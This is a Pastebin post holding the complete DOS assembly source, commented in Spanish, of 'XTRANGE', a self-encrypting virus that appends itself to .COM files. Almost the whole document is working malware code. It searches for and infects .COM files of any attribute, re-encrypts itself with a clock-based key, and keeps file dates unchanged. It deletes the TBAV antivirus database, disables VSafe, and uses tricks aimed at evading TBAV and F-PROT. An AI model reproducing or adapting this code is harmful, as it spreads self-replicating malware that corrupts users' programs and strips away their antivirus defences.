FlyFar

XTRANGE - An example of .COM infector via SFT

Jul 4th, 2023
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 16.33 KB | Cybersecurity | 0 0
  1. ;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
  2. ;º Nombre : XTRANGE 1.0                                                      º
  3. ;º enumero caracteristicas:   * Appending .COM infector via SFT's            º
  4. ;º                            * Infecta archivos de cualquier atributo       º
  5. ;º                            * No modifica fecha ni hora del archivo        º
  6. ;º                            * Se activa el 1/1 de cualquier anio (silly)  º
  7. ;º                            * Marca la infeccion con el bit 6 de los       º
  8. ;º                              atributos...o sea, no reinfecta              º
  9. ;º                            * Se encripta cada vez con una clave diferente º
  10. ;º                            * Evade TOTALMENTE al : - TBAV 7.0             º
  11. ;º                                                    - F-PROT 2.22          º
  12. ;º                                                    - SCAN (jajajaja)      º
  13. ;º                            * No infecta COMMAND.COM :(                    º
  14. ;º                            * BORRA el Anti-Vir.Dat                        º
  15. ;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
  16. COMIENZO_VIRUS:                       ;BUENO, LO TRADICIONAL,SACO DELTA OFFSET
  17. Mov Bp,Sp                             ;SOLO QUE ASI EVADO AL TBAV Y EL F-PROT
  18. Mov Ah,0                              ;NO ME DETECTA COMO VARIANTE DE UN VIRUS
  19. Int 12h                               ;OBTENGO SP, LLAMO A UNA INT Y ASI TENGO
  20. Mov Bp,[Bp-6]                         ;LA DIRECCION DE RETORNO, A LA QUE LE
  21. Sub Bp,106h                           ;RESTO MI OFFSET ACTUAL Y LISTO
  22. ;---------------------------------------------------------------------------
  23. Mov Ah,Clave + Bp                     ;BACKUPEO LA CLAVE ORIGINAL
  24. Mov Clave2 + Bp,Ah                    ;PARA QUE NO SE PIERDA AL ELEGIR OTRA
  25.                                       ;
  26. Lea Si,Crypted + Bp                   ;COMIENZO DE LA ZONA ENCRIPTADA
  27. Xor Cx,Cx                             ;CX=0 PORQUE LO USO DE CONTADOR
  28.  
  29. Mov Dh,Clave2 + Bp                    ;COPIO EN DH LA CLAVE A USAR
  30. Call Fuck_Flag                        ;ESTO ES PARA EVADIR EL FLAG # DEL TBAV
  31.                                       ;QUE INDICA ENCRIPTACION
  32.                                       ;
  33. Jmp All_Ok                            ;ACA SALTO A LA ZONA ENCRIPTADA
  34.                                       ;
  35.                                       ;
  36. Fuck_Flag:                            ;SIGO CON EVADIR AL TBAV
  37. Call Lets_Start                       ; "    "    "    "   "
  38. Ret                                   ; "    "    "    "   "
  39. Mov Ah,4Ch                            ; "    "    "    "   "
  40. Int 21h                               ; "    "    "    "   "
  41.                                       ; "    "    "    "   "
  42. Lets_Start:                           ; "    "    "    "   "
  43. Mov Ah,1                              ;ACA LLAMO A UNA FUNCION CUALQUIERA
  44. Int 13h                               ;SOLO PARA SEGUIR JODIENDO AL TBAV
  45.                                       ;
  46. Xor_Loop:                             ;
  47. Mov Ah,[Si]                           ;EMPIEZO A DESENCRIPTAR Y UTILIZO
  48. Xor Ah,Dh                             ;A CX PARA CONTAR
  49. Mov [Si],Ah                           ;OJO QUE ESTA RUTINA TAMBIEN ENCRIPTA
  50. Inc Cx                                ;
  51. Inc Si                                ;
  52. Cmp Cx,Enc_Size                       ;
  53. Jbe Xor_Loop                          ;
  54. Ret                                   ;
  55.                                       ;
  56. Clave      Db 0                       ;DATOS...
  57. Clave2     Db 0                       ;
  58. N_Enc_Size Equ $ - Comienzo_Virus     ;
  59. ;---------------------------------------------------------------------------
  60. Crypted:                              ;COMIENZO MI VIRUS YA DESENCRIPTADO
  61. All_Ok:                               ;
  62. Mov Ax,4300h                          ;
  63. Mov Al,1                              ;CHAU ANTI-VIR.DAT
  64. Mov Cx,0                              ;
  65. Lea Dx,TBAV + Bp                      ;
  66. Int 21h                               ;
  67. Mov Ax,4100h                          ;
  68. Int 21h                               ;
  69. ;---------------------------------------------------------------------------
  70. Mov Old_Es + Bp, Es                   ;GRABO ES. DESPUES CAMBIA POR USO DE
  71.                                       ;SFT
  72. ;---------------------------------------------------------------------------
  73. Xor Ah,Ah                             ;PONGO AH A 0 PORQUE PRIMERO TENGO
  74. Mov Vsafe + Bp,Ah                     ;QUE SACAR LOS FLAGS DEL VSAFE
  75.                                       ;O SEA, ME ASEGURO QUE LA PRIMERA VEZ
  76.                                       ;QUE LLAME A LA RUTINA DE MANEJO DE
  77.                                       ;FLAGS, LOS FLAGS TODOS ESTEN EN 0 PARA
  78.                                       ;DESACTIVAR (PORQUE AL INFECTAR EL
  79.                                       ;ARCHIVO, GUARDE LOS FLAGS ORIGINALES
  80.                                       ;PERO VIEJOS DEL MOMENTO DE LA INFECCION)
  81.                                       ;LA PROXIMA VEZ QUE LLAME A LA RUTINA,
  82.                                       ;SE REPONDRAN LOS FLAGS ORIGINALES.
  83. ;---------------------------------------------------------------------------
  84. Call Chau_Vsafe                       ;JUSTAMENTE ACA
  85. ;---------------------------------------------------------------------------
  86. BACKUPEO_LOS_BYTES_ORIGINALES:        ;GRABO LOS BYTES A RESTAURAR EN OTRO
  87. Lea Si,Buffer + Bp                    ;LADO, PORQUE SINO, LOS ORIGINALES
  88. Lea Di,Backup + Bp                    ;SE SOBREESCRIBEN CADA VEZ QUE LEO
  89. MovSw                                 ;LOS 3 PRIMEROS DE CADA NUEVO HOST
  90. MovSb                                 ;DESPUES RESTITUYO EL BACKUP
  91. ;---------------------------------------------------------------------------
  92. PLAYLOAD:                             ;BUENO, UN PLAYLOAD BIEN SENCILLO:
  93. Mov Ax,2A00h                          ;
  94. Int 21h                               ;
  95.                                       ;
  96. Cmp Dh,01                             ;
  97. Jne Backupeo_El_DTA                   ;SI ES 1/1  
  98.                                       ;CUALQUIER ANO, IMPRIME UN MENSAJE
  99. Cmp Dl,01                             ;
  100. Jne Backupeo_El_DTA                   ;
  101.                                       ;
  102. Lea Dx,Mensaje + Bp                   ;
  103.                                       ;
  104. LETS_DO_IT:                           ;
  105. Mov Ax,0003                           ;
  106. Int 10h                               ;
  107. Mov Ah,9                              ;
  108. Int 21h                               ;
  109. Mov Ah,1                              ;
  110. Int 21h                               ;
  111. ;---------------------------------------------------------------------------
  112. BACKUPEO_EL_DTA:                      ;GRABO EL DTA PORQUE LA FUNCION
  113. Lea Si,80h                            ;4EH LO SOBREESCRIBE.
  114. Lea Di, DTA + Bp                      ;DESPUES LO RESTITUYO
  115. Mov Cx,43                             ;
  116. Rep MovSb                             ;
  117. ;---------------------------------------------------------------------------
  118. SETEO_PARA_BUSCAR_COM:                ;BUSCO EL PRIMER .COM PARA INFECTAR
  119. Mov Ax,4E00h                          ;CON CUALQUIER ATRIBUTO:
  120. Mov Cx,00100111b                      ;HIDDEN - READ ONLY - SYSTEM Y LOS
  121. Lea Dx,Mask + Bp                      ;COMUNES
  122. BUSCO:                                ;
  123. Int 21h                               ;
  124. If C Jmp Chiao                        ;
  125. ;---------------------------------------------------------------------------
  126. ABRO_COM:                             ;ABRO EL COM PARA SOLO LECTURA
  127. Mov Ax,3D00h                          ;ASI LOS ANTIVIRUS NO CHILLAN
  128. Mov Dx,9Eh                            ;OBTENGO EL NOMBRE DEL DTA
  129. Int 21h                               ;GRABO EL HANDLE Y LO RECUPERO EN BX
  130. Xchg Bx,Ax                            ;
  131. ;---------------------------------------------------------------------------
  132. OBTENGO_TAMANIO_DEL_COM:              ;OBTENGO EL TAMANIO DEL COM DEL DTA
  133. Mov Si,9Ah                            ;
  134. Lea Di,Tam + Bp                       ;
  135. MovSw                                 ;
  136. ;---------------------------------------------------------------------------
  137. OBTENGO_NOMBRE_DEL_COM:               ;OBTENGO EL NOMBRE DEL COM DEL DTA
  138. Mov Si,9Eh                            ;
  139. Lea Di,File + Bp                      ;
  140. Mov Cx,12                             ;
  141. Rep MovSb                             ;
  142. ;---------------------------------------------------------------------------
  143. ES_EL_COMMAND?:                       ;VERIFICO SI ES EL COMMAND. SI ES, LO
  144. Lea Si,File + Bp                      ;CIERRO Y BUSCO OTRO, SINO SIGO
  145. Lea Di,Command + Bp                   ;
  146. Mov Cx,12                             ;
  147. Rep CmpSb                             ;
  148. If E Jmp Otro_Com                     ;
  149. ;---------------------------------------------------------------------------
  150. OBTENGO_SFT:                          ;OBTENGO LA SFT DEL ARCHIVO
  151. Push Bx                               ;
  152. Mov Ax,1220h                          ;
  153. Int 2Fh                               ;
  154.                                       ;
  155. Mov Bl,Es:[Di]                        ;
  156. Mov Ax,1216h                          ;
  157. Int 2Fh                               ;
  158. Mov Sft + Bp,Es:Di                    ;
  159. ;---------------------------------------------------------------------------
  160. ESTA_INFECTADO?:                      ;VERIFICO LA MARCA DE INFECCION
  161. Mov  Dh,[Es:Di + 4]                   ;BIT 6 DE LOS ATRIBUTOS EN 1
  162. Test Dh, Bit 6                        ;SI ESTA, CIERRO Y BUSCO OTRO
  163. Jnz Otro_Com                          ;
  164. ;---------------------------------------------------------------------------
  165. ABRO_PARA_LECTURA_ESCRITURA:          ;MODIFICO LA FORMA DE ACCESO AL
  166. Mov Dx,2                              ;ARCHIVO PARA PODER LEER Y ESCRIBIR
  167. Mov [Es:Di + 2],Dx                    ;
  168. ;---------------------------------------------------------------------------
  169. LEO_BYTES:                            ;LEO LOS TRES PRIMEROS BYTES
  170. Mov Ax,3F00h                          ;LOS GRABO EN BUFFER (QUE ANTES TENIA
  171. Mov Cx,3                              ;LOS BYTES DEL HOST PARA RESTAURAR, POR
  172. Lea Dx,Buffer + Bp                    ;ESO "BACKUPIE")
  173. Pop Bx                                ;
  174. Int 21h                               ;
  175. ;---------------------------------------------------------------------------
  176. PUNTERO_AL_PRINCIPIO:                 ;MUEVO EL PUNTERO AL PRINCIPIO
  177. Mov Ax,4200h                          ;
  178. Xor Cx,Cx                             ;
  179. Cwd                                   ;
  180. Int 21h                               ;
  181. ;---------------------------------------------------------------------------
  182. ESCRIBO_JUMP:                         ;ESCRIBO EL SALTO
  183. Mov Ax,4000h                          ;
  184. Mov Cx,1                              ;
  185. Lea Dx,Jump + Bp                      ;
  186. Int 21h                               ;
  187. ;---------------------------------------------------------------------------
  188. ESCRIBO_FINAL_DEL_JUMP:               ;ESCRIBO LA DIRECCION DEL SALTO
  189. Sub Word Ptr [Bp+Tam],3               ;(TAMANIO DEL HOST)
  190.                                       ;
  191. Mov Ax,4000h                          ;
  192. Mov Cx,2                              ;
  193. Lea Dx,Tam + Bp                       ;
  194. Int 21h                               ;
  195. Jmp Copio_Virus
  196. ;---------------------------------------------------------------------------
  197. Otro_Com:
  198. Jmp Otro_Com2
  199. ;---------------------------------------------------------------------------
  200. COPIO_VIRUS:                          ;MUEVO EL PUNTERO AL FINAL DEL
  201. Mov Ax,4202h                          ;ARCHIVO Y GRABO EL VIRUS
  202. Xor Cx,Cx                             ;DE ESTA MANERA:
  203. Cwd                                   ;
  204. Int 21h                               ;
  205. Add Word Ptr [Bp+Tam],3               ;
  206.                                       ;
  207. Push Es                               ;GRABO ES PORQUE CAMBIA AHORA !
  208. Push Di
  209. Mov Es, Old_Es + Bp                   ;
  210.                                       ;
  211. Mov Ah,2Ch                            ;ELIJO UNA NUEVA CLAVE USANDO EL
  212. Int 21h                               ;RELOJ
  213. Mov Bp + Clave, Dl                    ;
  214.  
  215. Lea Si,[Bp + Crypted]                 ;COPIO LA ZONA A ENCRIPTAR AL FINAL DEL
  216. Lea Di,Fin + Bp                       ;VIRUS
  217. Mov Cx,Enc_Size                       ;
  218. Rep Movsb                             ;
  219.                                       ;
  220. Lea Si,[Es:Bp + Fin]                  ;APUNTO A ESA ZONA Y EMPIEZO A ENCRIPTAR
  221. Xor Cx,Cx                             ;
  222.                                       ;
  223. Mov Dh,Bp + Clave                     ;COPIO LA CLAVE EN DH
  224. Call Xor_Loop                         ;            
  225.                                       ;
  226. Mov Ax,4000h                          ;GRABO POR SEPARADO LA PARTE NO
  227. Mov Cx,N_Enc_Size                     ;ENCRIPTADA Y LA PARTE ENCRIPTADA
  228. Lea Dx,[Bp + Comienzo_Virus]          ;
  229. Int 21h                               ;
  230.                                       ;
  231. Mov Ax,4000h                          ;
  232. Mov Cx,Enc_Size                       ;
  233. Lea Dx,[Es:Bp + Fin]                  ;
  234. Int 21h                               ;
  235.                                       ;
  236. Pop Di                                ;RECUPERO ES
  237. Pop Es
  238. ;---------------------------------------------------------------------------
  239. MARCA_DE_INFECCION:                   ;LE ESTAMPO LA MARCA DE INFECCION
  240. Mov Dh,[Es:Di + 4]                    ;EL "ATRIBUTO NO VALIDO" DEL BIT 6
  241. Or  Dh, Bit 6                         ;
  242. Mov [Es:Di + 4],Dh                    ;
  243. ;---------------------------------------------------------------------------
  244. NO_MODIFICO_FECHA_NI_HORA:            ;SETEO EL BIT 14 PARA QUE NO SE
  245. Or  [Es:Di + 5],Bit 14                ;MODIFIQUE LA FECHA Y LA HORA
  246. ;---------------------------------------------------------------------------
  247. OTRO_COM2:                            ;
  248. Mov Es,Old_Es + Bp                    ;
  249.                                       ;
  250. Mov Ax,3E00h                          ;CIERRO Y BUSCO OTRO COM
  251. Int 21h                               ;
  252. Mov Ax,4F00h                          ;
  253. Jmp Busco                             ;
  254. ;----------------------------------------------------------------------------
  255. CHIAO:                                ;SI NO HAY MAS COM VENGO ACA Y
  256. RESTAURO_DTA:                         ;
  257. Call Chau_Vsafe                       ;
  258.                                       ;
  259. Mov Es,Old_Es + Bp                    ;RECUPERO ES ORIGINAL
  260.                                       ;
  261. Mov Di,80h                            ;
  262. Lea Si, DTA + Bp                      ;RESTAURO EL DTA
  263. Mov Cx,43                             ;
  264. Rep MovSb                             ;
  265.                                       ;
  266. RESTAURO_BYTES_DEL_HOST:              ;RESTAURO EL BACKUP (LOS BYTES ORIGINALES
  267. Mov Cx,3                              ;DEL HOST) EN 100H PARA SALTAR
  268. Mov Di,100h                           ;
  269. Lea Si,Backup + Bp                    ;
  270. MovSw                                 ;
  271. MovSb                                 ;
  272.                                       ;
  273. Push 100h                             ;SALTO
  274. Ret -1                                ;
  275. ;----------------------------------------------------------------------------
  276. Chau_Vsafe:                           ;ACA GARCO AL VSAFE
  277. Mov Ax,0FA02h                         ;
  278. Mov Dx,5945h                          ;SUPONGO QUE YA CONOCERAN EL METODO
  279. Mov Bl,Vsafe + Bp                     ;NO? :)
  280. Int 21h                               ;
  281. Mov Vsafe + Bp,Cl                     ;
  282. Ret                                   ;
  283. ;----------------------------------------------------------------------------
  284. VARIABLES:
  285. Mensaje    Db 'Hello world!',0a,0d
  286.            Db 'virus experimental XTRANGE 0.1á Beta release! just for friends :)',0a,0d
  287.            Db '- CopyRight 1996 - xxx',0a,0d,'$'
  288. Command    Db 'COMMAND.COM',0
  289. TBAV       Db 'Anti-Vir.Dat',0
  290. Mask       Db '*.COM',0
  291. Jump       Db 'é'
  292. Tam        Dw 0
  293. File       Db 12 Dup(0)
  294. Sft        Dw 0
  295. Vsafe      Db 0
  296. Old_Es     Dw 0
  297. DTA        Db 43 Dup(0)
  298. Buffer     Db 0CDh,20h,90h
  299. Backup     Db 3 Dup(0)
  300. Enc_Size   Equ $ - Crypted
  301. ;----------------------------------------------------------------------------
  302. Virii_Tam  Equ $ - Comienzo_Virus
  303. Fin:
Tags: COM'infector
Add Comment
Please, Sign In to add comment